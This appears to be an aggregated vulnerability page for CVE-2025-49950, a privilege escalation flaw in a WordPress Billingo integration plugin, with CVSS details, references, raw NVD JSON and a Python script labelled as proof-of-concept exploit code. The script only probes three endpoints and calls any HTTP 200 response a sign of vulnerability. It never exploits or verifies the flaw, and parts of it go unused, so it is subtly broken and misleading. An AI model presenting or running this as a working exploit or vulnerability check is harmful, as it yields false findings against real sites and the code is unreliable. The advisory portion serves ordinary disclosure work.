CVE-2025-49950

Description

Missing Authorization vulnerability in billingo Official Integration for Billingo billingo allows Privilege Escalation.This issue affects Official Integration for Billingo: from n/a through <= 4.3.0.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Official Integration for Billingo插件 <= 4.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-49950 PoC - Missing Authorization in Billingo Plugin
# Target: WordPress site with Official Integration for Billingo plugin <= 4.3.0

def check_vulnerability(target_url):
    """Check if target is vulnerable to CVE-2025-49950"""
    
    # Get WordPress nonce and cookie
    wp_url = target_url.rstrip('/') + '/wp-login.php'
    
    # Attempt to access privileged function without proper authorization
    # This is a simplified PoC - actual exploitation may require specific parameters
    vulnerable_endpoints = [
        '/wp-admin/admin-ajax.php',
        '/wp-json/billingo/v1/',
        '/wp-admin/admin.php?page=billingo'
    ]
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Test',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    for endpoint in vulnerable_endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            # Check for indicators of missing authorization
            if response.status_code == 200:
                print(f'[+] Potentially vulnerable endpoint found: {url}')
        except requests.RequestException as e:
            print(f'[-] Error accessing {url}: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2025-49950-poc.py <target_url>')
        sys.exit(1)
    
    target = sys.argv[1]
    print(f'[*] Checking CVE-2025-49950 on {target}')
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49950/
[4] VulDB https://vuldb.com/cve/CVE-2025-49950
[5] https://patchstack.com/database/Wordpress/Plugin/billingo/vulnerability/wordpress-official-integration-for-billingo-plugin-4-2-5-privilege-escalation-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49950", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:41.373", "lastModified": "2026-04-27T20:16:18.920", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in billingo Official Integration for Billingo billingo allows Privilege Escalation.This issue affects Official Integration for Billingo: from n/a through <= 4.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/billingo/vulnerability/wordpress-official-integration-for-billingo-plugin-4-2-5-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}